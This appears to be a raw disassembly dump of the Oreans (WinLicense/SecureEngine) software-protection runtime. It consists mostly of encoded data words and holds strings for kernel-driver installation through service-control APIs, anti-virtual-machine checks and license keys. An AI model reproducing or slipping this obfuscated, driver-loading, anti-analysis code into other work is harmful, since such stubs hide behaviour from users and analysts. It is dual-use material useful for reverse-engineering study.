		dd 8BCEB650h, 8B042444h, 0FE8B6600h, 4244489h, 0BA665250h
		dd 310F0EAAh, 585AA2B6h, 0BD8B5358h, 64D2185h, 6A036A5Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 86B6C355h, 0ACDA5E64h, 0E937AAC6h, 11h, 1B1F9B37h
		dd 3A779671h, 0EF2378D9h, 10042D63h, 89006A1Ch,	4D07258Dh
		dd 66036A06h, 684FBABEh, 8AF5DC00h, 0B9665250h,	310FB4FFh
		dd 585A6160h, 240481h, 6A350A24h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 987BC350h
		dd 8B0Fh, 9D8D0000h, 64FAA73h, 178D0Fh,	12E90000h, 8D000000h
		dd 753F2153h, 2C96E4B4h, 0D2EB9BB3h, 0F4B5A4BAh, 8B66935Fh
		dd 5A5250CAh, 50006A93h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 3F4B582Dh, 0D0FF09FFh, 4B38CE81h
		dd 0F403943h, 2E485h, 68B0F00h,	0F000000h, 8Ch,	8D335800h
		dd 64D2D71h, 36B96690h,	8B66501Fh, 870F90D7h, 18h, 7E8h
		dd 79B71300h, 2C78BC76h, 6E9h, 7AF66100h, 5EBCFC29h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 9D25D7C3h, 0CADB509h, 4E8064Dh, 80000000h, 51000000h
		dd 12E9h, 0D892AE00h, 51EE7599h, 0F2645A7Fh, 0CEEDE3E1h
		dd 597854EEh, 8BD2B150h, 8B042444h, 50008BFAh, 0BE952h
		dd 86240000h, 1A872C4Ah, 8C0BFE45h, 0E8310F6Dh,	0Eh, 71456FACh
		dd 1FB86418h, 9AEBA35Eh, 52505210h, 585A310Fh, 89585A5Ah
		dd 0BF042444h, 7A33700Eh, 4860F58h, 66000000h, 6A2414BFh
		dd 0C19D8903h, 6A064D2Bh, 81665300h, 5A0DABE9h,	0FFC036Ah
		dd 87h,	88EB6800h, 0FE8BB7DBh, 0EB243481h, 8B77DB88h, 419D29C8h
		dd 8D064D16h, 4FAA7C9Dh, 0C1958B06h, 50064D2Bh,	89D08B66h
		dd 6160241Ch, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0F4917AC3h, 0A7853A9Bh, 0E3816660h
		dd 0B70F6129h, 0F38B61CBh, 96850F40h, 81000001h, 0D1E15ED7h
		dd 0F3BE585Fh, 502612C2h, 0F240489h, 388h, 0D38B6600h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 4CC1E0C3h, 0D204B7B8h, 681C510Dh,	82B66BE1h
		dd 7E9h, 0C6BA6400h, 437DA318h,	9F240481h, 0F7D4994h, 68Bh
		dd 598D8B00h, 6A064D2Dh, 0CE803h
		dd 0ADAC0000h, 456FAC79h, 0B8641871h, 10E95E1Fh, 34000000h
		dd 0FF75E063h, 0D4DA76AFh, 98AC3406h, 5F0B160Bh, 51B1006Ah
		dd 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0CDEA0C3h, 7D5E9104h, 23D1B58Bh, 0B968064Dh
		dd 66DA6CA6h, 81825FBEh, 0A6B92434h, 6A1A6Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D38CD1C3h
		dd 0B5952367h, 8D064D1Bh, 4FAA879Dh, 0AD958B06h, 8B064D21h
		dd 4D0DE9B5h, 59529306h, 9E950h, 0E2EE0000h, 97099239h
		dd 93F4286Bh, 12E8h, 0CB7B6E00h, 31F55301h, 0AB4947C0h
		dd 6FCEFC93h, 896ECD77h, 4D121DB5h, 0D0FF5A06h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C35242h, 16D84942h
		dd 8D8927AAh, 64D146Dh,	32850F40h, 8B000000h, 4D26BDB5h
		dd 6A5806h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 4C3994C3h, 8B66F410h, 13FE9D6h, 8B660000h
		dd 89D88BF8h, 4D2FB585h, 0E8604B06h, 13h, 73D7D2B6h, 60770C7Fh
		dd 0ED51CCB6h, 0B39E16A4h, 0B537DEEDh, 0BE66583Dh, 8B6158B9h
		dd 8A0F58CEh, 3, 0C6D78B66h, 4D26E585h,	0B5894306h, 64D1651h
		dd 1DFEB668h, 0F88B6650h, 0F1240481h, 8970584Bh, 4D225D8Dh
		dd 31B5FF06h, 6A064D14h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0F73EC352h,	9E95C23h
		dd 1F000000h, 0BAD566AAh, 0D6BF4E6Dh, 3906858Dh, 0FE8064Dh
		dd 0
		dd 9B184E9Ch, 35D87E9Eh, 9CF0A57Eh, 0B589EB1Eh,	64D0321h
		dd 0BFD0FF59h, 0D338D6Dh, 0FDB49BBEh, 0E2B2934Bh, 57B95150h
		dd 5F7568B0h, 56006A93h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 3153B878h, 4D23499Dh, 29D0FF06h
		dd 4D075DB5h, 8DB6B106h, 4D740E9Dh, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 276C4275h
		dd 9627CB21h, 8D03849Dh, 64D31ADh, 5E9h, 9B668800h, 1B8A81Ch
		dd 0F000000h, 287h, 0FFD38B00h,	81C18BE3h, 3AFEF0D6h, 8BC08B5Bh
		dd 4D2685BDh, 0D9BD8306h, 64D1Bh, 0BD830975h, 64D0011h
		dd 50197400h, 0B8C08B53h, 40Fh,	31A58589h, 9D8D064Dh, 64FB77Ch
		dd 585BD3FFh, 11BD83h, 7400064Dh, 0B8535017h, 40Fh, 31A58589h
		dd 9D8D064Dh, 64FB41Dh,	585BD3FFh, 31E6B966h, 0C8B0Fh
		dd 820F0000h, 6, 551BD8Bh, 6A064Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 89A76DC3h
		dd 0B1621FACh, 8B388D00h, 0E9C08BFBh, 0AAh, 74666F53h
		dd 65726177h, 6E69575Ch, 6563694Ch, 65736Eh, 63656843h
		dd 4E496Bh, 6F727058h, 69784574h, 68430074h, 4F6B6365h
		dd 57005455h, 694C6E69h, 736E6563h, 72655665h, 6E6F6973h
		dd 6E695700h, 6563694Ch, 4465736Eh, 65766972h, 72655672h
		dd 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh, 6174736Eh
		dd 65636Eh, 74697845h, 50006B4Fh, 49636F72h, 7250004Eh
		dd 554F636Fh, 78450054h, 4E497469h, 69784500h, 54554F74h
		dd 49705400h, 4Eh, 2 dup(0)
		dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h,	4FB23885h
		dd 34858D06h, 50064FB2h, 0B19E858Dh, 6850064Fh,	80000001h
		dd 0B24495FFh, 196A064Fh, 0B238B5FFh, 16A064Fh,	858D006Ah
		dd 64FB1CDh, 34B5FF50h,	0FF064FB2h, 4D0CC995h, 34B5FF06h
		dd 0FF064FB2h, 4FB24095h, 34B5FF06h, 0FF064FB2h, 4D283195h
		dd 8589C306h, 64FB238h,	0B234858Dh, 8D50064Fh, 4FB19E85h
		dd 1685006h, 0FF800000h, 4FB24495h, 8D046A06h, 4FB23885h
		dd 46A5006h, 858D006Ah,	64FB1F7h, 34B5FF50h, 0FF064FB2h
		dd 4D0CC995h, 34B5FF06h, 0FF064FB2h, 4FB24095h,	34B5FF06h
		dd 0FF064FB2h, 4D283195h, 8589C306h, 64FB238h, 0B234858Dh
		dd 8D50064Fh, 4FB19E85h, 1685006h, 0FF800000h, 4FB24495h
		dd 8D046A06h, 4FB23885h, 46A5006h, 858D006Ah, 64FB1DFh
		dd 34B5FF50h, 0FF064FB2h, 4D0CC995h, 34B5FF06h,	0FF064FB2h
		dd 4FB24095h, 34B5FF06h, 0FF064FB2h, 4D283195h,	8589C306h
		dd 64FB238h, 0B234858Dh, 8D50064Fh, 4FB19E85h, 1685006h
		dd 0FF800000h, 4FB24495h, 8D046A06h, 4FB23885h,	46A5006h
		dd 858D006Ah, 64FB20Ah,	34B5FF50h, 0FF064FB2h, 4D0CC995h
		dd 34B5FF06h, 0FF064FB2h, 4FB24095h, 34B5FF06h,	0FF064FB2h
		dd 4D283195h, 8589C306h, 64FB238h, 0B234858Dh, 8D50064Fh
		dd 4FB19E85h, 1685006h,	0FF800000h, 4FB24495h, 8D046A06h
		dd 4FB23885h, 46A5006h,	858D006Ah, 64FB1BAh, 34B5FF50h
		dd 0FF064FB2h, 4D0CC995h, 34B5FF06h, 0FF064FB2h, 4FB24095h
		dd 34B5FF06h, 0FF064FB2h, 4D283195h, 0BD83C306h, 64D15BDh
		dd 0B840F00h, 8B000000h, 4D15BD9Dh, 4CC38306h, 83C30389h
		dd 4D15BDBDh, 840F0006h, 0Bh, 15BD9D8Bh, 0C383064Dh, 0C3038950h
		dd 15BDBD83h, 0F00064Dh, 0B84h,	0BD9D8B00h, 83064D15h
		dd 38954C3h, 0BDBD83C3h, 64D15h, 0B840Fh, 9D8B0000h, 64D15BDh
		dd 8958C383h, 0BD83C303h, 64D15BDh, 0B840F00h, 8B000000h
		dd 4D15BD9Dh, 5CC38306h, 0C3C30389h, 38858960h,	8D064FB2h
		dd 4FB23485h, 858D5006h, 64FB19Eh, 16850h, 95FF8000h, 64FB244h
		dd 858D046Ah, 64FB238h,	6A046A50h, 2F858D00h, 50064FB2h
		dd 0B234B5FFh, 95FF064Fh, 64D0CC9h, 1BD9BD83h, 0F00064Dh
		dd 0C84h, 34B5FF00h, 0FF064FB2h, 4FB24095h, 34B5FF06h
		dd 0FF064FB2h, 4D283195h, 60C36106h, 0B2388589h, 858D064Fh
		dd 64FB234h, 9E858D50h,	50064FB1h, 168h, 4495FF80h, 6A064FB2h
		dd 38858D04h, 50064FB2h, 6A046Ah, 0B211858Dh, 0FF50064Fh
		dd 4FB234B5h, 0C995FF06h, 83064D0Ch, 4D1BD9BDh,	840F0006h
		dd 0Ch,	0B234B5FFh, 95FF064Fh, 64FB240h, 0B234B5FFh, 95FF064Fh
		dd 64D2831h, 8960C361h,	4FB23885h, 34858D06h, 50064FB2h
		dd 0B19E858Dh, 6850064Fh, 80000001h, 0B24495FFh, 46A064Fh
		dd 0B238858Dh, 6A50064Fh, 8D006A04h, 4FB21885h,	0B5FF5006h
		dd 64FB234h, 0CC995FFh,	0BD83064Dh, 64D1BD9h, 0C840F00h
		dd 0FF000000h, 4FB234B5h, 4095FF06h, 0FF064FB2h, 4FB234B5h
		dd 3195FF06h, 61064D28h, 858960C3h, 64FB238h, 0B234858Dh
		dd 8D50064Fh, 4FB19E85h, 1685006h, 0FF800000h, 4FB24495h
		dd 8D046A06h, 4FB23885h, 46A5006h, 858D006Ah, 64FB220h
		dd 34B5FF50h, 0FF064FB2h, 4D0CC995h, 0D9BD8306h, 64D1Bh
		dd 0C840Fh, 0B5FF0000h,	64FB234h, 0B24095FFh, 0B5FF064Fh
		dd 64FB234h, 283195FFh,	0C361064Dh, 38858960h, 8D064FB2h
		dd 4FB23485h, 858D5006h, 64FB19Eh, 16850h, 95FF8000h, 64FB244h
		dd 858D046Ah, 64FB238h,	6A046A50h, 27858D00h, 50064FB2h
		dd 0B234B5FFh, 95FF064Fh, 64D0CC9h, 1BD9BD83h, 0F00064Dh
		dd 0C84h, 34B5FF00h, 0FF064FB2h, 4FB24095h, 34B5FF06h
		dd 0FF064FB2h, 4D283195h, 60C36106h, 0B23885C7h, 1064Fh
		dd 858D0000h, 64FB234h,	9E858D50h, 50064FB1h, 268h, 4495FF80h
		dd 0B064FB2h, 0F840FC0h, 0C7000000h, 4FB23885h,	6, 4DE900h
		dd 46A0000h, 0B238858Dh, 6A50064Fh, 8D006A04h, 4FB1B285h
		dd 0B5FF5006h, 64FB234h, 0CC995FFh, 0C00B064Dh,	0F840Fh
		dd 85C70000h, 64FB238h,	0
		dd 0AE9h, 3885C700h, 1064FB2h, 0FF000000h, 4FB234B5h, 3195FF06h
		dd 61064D28h, 0B238858Bh, 60C3064Fh, 0B2388589h, 858D064Fh
		dd 64FB234h, 9E858D50h,	50064FB1h, 168h, 4495FF80h, 6A064FB2h
		dd 38858D04h, 50064FB2h, 6A046Ah, 0B1B2858Dh, 0FF50064Fh
		dd 4FB234B5h, 0C995FF06h, 83064D0Ch, 4D1BD9BDh,	840F0006h
		dd 0Ch,	0B234B5FFh, 95FF064Fh, 64FB240h, 0B234B5FFh, 95FF064Fh
		dd 64D2831h, 8960C361h,	4FB23885h, 34858D06h, 50064FB2h
		dd 0B19E858Dh, 6850064Fh, 80000001h, 0B24495FFh, 46A064Fh
		dd 0B238858Dh, 6A50064Fh, 8D006A04h, 4FB1C485h,	0B5FF5006h
		dd 64FB234h, 0CC995FFh,	0BD83064Dh, 64D1BD9h, 0C840F00h
		dd 0FF000000h, 4FB234B5h, 4095FF06h, 0FF064FB2h, 4FB234B5h
		dd 3195FF06h, 61064D28h, 0E585C6C3h, 52064D26h,	0E47B0768h
		dd 95B5FFADh, 0FF064D03h, 4D137595h, 44858906h,	0C6064FB2h
		dd 4D26E585h, 0E5685206h, 0FF902E00h, 4D0395B5h, 7595FF06h
		dd 89064D13h, 4FB24085h, 0E585C606h, 52064D26h,	0BF123568h
		dd 95B5FFB9h, 0FF064D03h, 4D137595h, 0C9858906h, 0C6064D0Ch
		dd 4D26E585h, 34685206h, 0FF987810h, 4D0395B5h,	7595FF06h
		dd 89064D13h, 4D283185h, 0E585C606h, 52064D26h,	5DBD468h
		dd 95B5FFC0h, 0FF064D03h, 4D137595h, 5858906h, 0E9064D18h
		dd 20Eh, 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h
		dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h
		dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h
		dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h
		dd 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 4D26E585h, 86684706h, 0FFE3E45Bh
		dd 4D1431B5h, 6858D06h,	0FF064D39h, 10468D0h, 9D8D0000h
		dd 64D1659h, 50D0FF53h,	0BA76B58Dh, 0FE8B064Fh,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 26E585C6h
		dd 6843064Dh, 0BC8E6EFCh, 1431B5FFh, 858D064Dh,	64D3906h
		dd 0B58DD0FFh, 64D1659h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 4D26E585h, 56685706h
		dd 0FFA69BEEh, 4D1431B5h, 6858D06h, 0FF064D39h,	0D5BD8DD0h
		dd 8D064D0Ah, 4FBB9C8Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 7EB58D00h,	8D064FB8h, 4FA90385h, 8DD0FF06h
		dd 4D740E8Dh, 0B806h, 0E1FF0000h, 26E585C6h, 6843064Dh
		dd 0C0764AA7h, 1431B5FFh, 858D064Dh, 64D3906h, 0FF53D0FFh
		dd 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0FE80000h
		dd 0EC000000h, 0DEC0D249h, 8D120AACh, 8F3662C2h, 1B40CB3h
		dd 81DE8B5Fh, 5A15C7h, 6822B300h, 0
		dd 4EBE6659h, 0F148B4Fh, 81F08B66h, 8926A3C2h, 1DA0B85Bh
		dd 0EA8116BAh, 74E1CB89h, 28DB8166h, 90F281F5h,	0F344BA4h
		dd 185h, 0F52F800h, 48FF2BFh, 16820F0Fh, 0E9000000h, 11h
		dd 0B57D8C0h, 7A758D97h, 59C11736h, 8D42DC7Bh, 3E98372h
		dd 8B4933B7h, 0A8F981DEh, 0FFFFFA6h, 2385h, 0CE900h, 51260000h
		dd 48189567h, 0BCA309E6h, 25E9F717h, 52000000h,	0C4F982ABh
		dd 18EC3BF1h, 0BB9C7B19h, 30BE6653h, 72E95E85h,	99FFFFFFh
		dd 0FD4F2F25h, 4B0FF569h, 699C11D4h, 99E9h, 75622F00h
		dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh
		dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh
		dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h
		dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h
		dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h
		dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh
		dd 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 64FF4B7h, 0A840F00h,	0C7000000h, 4D001185h, 106h, 0E585C600h
		dd 47064D26h, 0B9627568h, 24048147h, 48B40A18h,	1431B5FFh
		dd 858D064Dh, 64D3906h,	0D0FFD0FFh, 3F80F88Bh, 22850F22h
		dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31E840Fh
		dd 80470000h, 840F003Fh, 314h, 1EE9h, 3F8000h, 306840Fh
		dd 3F800000h, 6850F20h,	47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
		dd 850F003Fh, 5, 2E3E9h, 1E900h, 80470000h, 840F203Fh
		dd 0FFFFFFF6h, 0F003F80h, 585h,	2C6E900h, 0AE80000h, 0E9000000h
		dd 0FFFFFFCBh, 2B7E9h, 37B58D00h, 0E8064FF4h, 225h, 0F4CCBD03h
		dd 0BD83064Fh, 64FF4CCh, 0B840F00h, 0C7000000h,	4D1BD985h
		dd 106h, 0B58DC300h, 64FF442h, 1FCE8h, 0CCBD0300h, 83064FF4h
		dd 4FF4CCBDh, 840F0006h, 0Bh, 1185C7h, 1064Dh, 8DC30000h
		dd 4FF4BBB5h, 1D3E806h,	0BD030000h, 64FF4CCh, 0F4CCBD83h
		dd 0F00064Fh, 0B84h, 0CD85C700h, 1064D0Fh, 0C3000000h
		dd 0F44CB58Dh, 0AAE8064Fh, 3000001h, 4FF4CCBDh,	0CCBD8306h
		dd 64FF4h, 0B840Fh, 85C70000h, 64D0011h, 1, 56B58DC3h
		dd 0E8064FF4h, 181h, 0F4CCBD03h, 0BD83064Fh, 64FF4CCh
		dd 15840F00h, 0C7000000h, 4D001185h, 106h, 0D985C700h
		dd 1064D1Bh, 0C3000000h, 0F464B58Dh, 4EE8064Fh,	3000001h
		dd 4FF4CCBDh, 0CCBD8306h, 64FF4h, 0A840Fh, 85C70000h, 64D26B5h
		dd 1, 0F46EB58Dh, 26E8064Fh, 3000001h, 4FF4CCBDh, 0CCBD8306h
		dd 64FF4h, 0A840Fh, 85C70000h, 64D26B5h, 1, 0F479B58Dh
		dd 0FEE8064Fh, 3000000h, 4FF4CCBDh, 0CCBD8306h,	64FF4h
		dd 0A840Fh, 85C70000h, 64D1A95h, 1, 0F47FB58Dh,	0D6E8064Fh
		dd 3000000h, 4FF4CCBDh,	0CCBD8306h, 64FF4h, 0A840Fh, 85C70000h
		dd 64D1AC1h, 1,	0F485B58Dh, 0AEE8064Fh,	3000000h, 4FF4CCBDh
		dd 0CCBD8306h, 64FF4h, 0A840Fh,	85C70000h, 64D17BDh, 1
		dd 0F493B58Dh, 86E8064Fh, 3000000h, 4FF4CCBDh, 0CCBD8306h
		dd 64FF4h, 0A840Fh, 85C70000h, 64D0325h, 1, 0F4A0B58Dh
		dd 5EE8064Fh, 3000000h,	4FF4CCBDh, 0CCBD8306h, 64FF4h
		dd 0A840Fh, 85C70000h, 64D313Dh, 1, 0F4ABB58Dh,	36E8064Fh
		dd 3000000h, 4FF4CCBDh,	0CCBD8306h, 64FF4h, 0A840Fh, 85C70000h
		dd 64D27A5h, 1,	1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh
		dd 0FFFFFFEDh, 1B960C3h, 8B000000h, 1FE9DEh, 3F800000h
		dd 5850F00h, 0B9000000h, 0
		dd 1638178Ah, 5840Fh, 0B90000h,	46000000h, 3E8047h, 8840Fh
		dd 0C90B0000h, 0FFD0850Fh, 0C90BFFFFh, 21840Fh,	3F800000h
		dd 9840F00h, 80000000h,	850F203Fh, 0Ah,	1B9h, 5E900h, 0B90000h
		dd 0B000000h, 0D840FC9h, 2B000000h, 0CCB589F3h,	0E9064FF4h
		dd 0Ah,	0F4CC85C7h, 64Fh, 0C3610000h, 0A9E9C88Bh, 41000010h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 4
		dd 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
		dd 0BF66C48Bh, 8589907Ah, 64D1B41h, 290DBFBAh, 8BC08B6Bh
		dd 4D11798Dh, 3890F06h,	0F000000h, 0BD83C8B7h, 64D1BD9h
		dd 83097500h, 4D0011BDh, 19740006h, 0C08B5350h,	43DB8h
		dd 75858900h, 8D064D25h, 4FB7159Dh, 5BD3FF06h, 11BD8358h
		dd 64D00h, 53501774h, 43DB8h, 75858900h, 8D064D25h, 4FB4049Dh
		dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 95895846h, 64D2445h, 11E9h, 2E012C00h
		dd 3346B41Fh, 8A67B0C7h, 0B3799AEAh, 0C08B2DB6h, 0C08BDEB1h
		dd 11A18509h, 0BD83064Dh, 64D1BD9h, 83097500h, 4D0011BDh
		dd 13740006h, 0C08B5350h, 0B8h,	0B79D8D00h, 0FF064FB5h
		dd 83585BD3h, 4D0011BDh, 11740006h, 0B85350h, 8D000000h
		dd 4FB4689Dh, 5BD3FF06h, 399D8958h, 51064D0Fh, 0C08B5FFCh
		dd 0C2EDCA81h, 0C08B4925h, 1BD9BD83h, 7500064Dh, 11BD8309h
		dd 64D00h, 53501374h, 0B8C08Bh,	8D000000h, 4FB4E99Dh, 5BD3FF06h
		dd 11BD8358h, 64D00h, 53501174h, 0B8h, 369D8D00h, 0FF064FB4h
